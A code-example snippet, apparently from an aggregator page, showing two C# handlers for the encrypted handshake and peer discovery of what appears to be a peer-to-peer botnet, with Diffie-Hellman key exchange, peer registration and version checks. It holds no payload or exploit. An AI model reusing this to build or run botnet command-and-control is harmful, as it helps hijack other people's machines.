Esempio n. 1
0
        public void Handle(BotMessage botMessage)
        {
            var      msg = botMessage.Message as HelloAckSynMessage;
            PeerInfo peerInfo;

            if (!_peerList.TryGet(botMessage.Header.EndPoint, out peerInfo))
            {
                return;
            }

            peerInfo.BotId         = botMessage.Header.BotId;
            peerInfo.EncryptionKey = DHKeyExchange.CalculateSharedKey(msg.PublicKey, BotIdentifier.PrivateKey);
            peerInfo.Handshaked    = true;
            peerInfo.BotVersion    = msg.BotVersion;
            peerInfo.CfgVersion    = msg.CfgVersion;
            if (_peerList.TryRegister(peerInfo))
            {
                var reply = new HelloAckMessage
                {
                    BotVersion = 1,
                    CfgVersion = 1,
                    Peers      = _peerList.Recent().ToArray()
                };
                _messageManager.Send(reply, botMessage.Header.BotId, botMessage.Header.CorrelationId);

                _versionManager.CheckAgentVersion(msg.BotVersion, botMessage.Header.BotId);
                _versionManager.CheckConfigurationFileVersion(msg.CfgVersion, botMessage.Header.BotId);
            }
        }
        public void Handle(BotMessage botMessage)
        {
            var msg      = botMessage.Message as HelloSynMessage;
            var endpoint = botMessage.Header.EndPoint;

            var peerInfo = new PeerInfo(botMessage.Header.BotId, endpoint);

            if (_peerList.TryRegister(peerInfo))
            {
                peerInfo.EncryptionKey = DHKeyExchange.CalculateSharedKey(msg.PublicKey, BotIdentifier.PrivateKey);

                var reply = new HelloAckSynMessage {
                    BotVersion = 1,
                    CfgVersion = 1,
                    PublicKey  = BotIdentifier.PublicKey,
                };
                _messageManager.Send(reply, botMessage.Header.BotId, botMessage.Header.CorrelationId);
            }
        }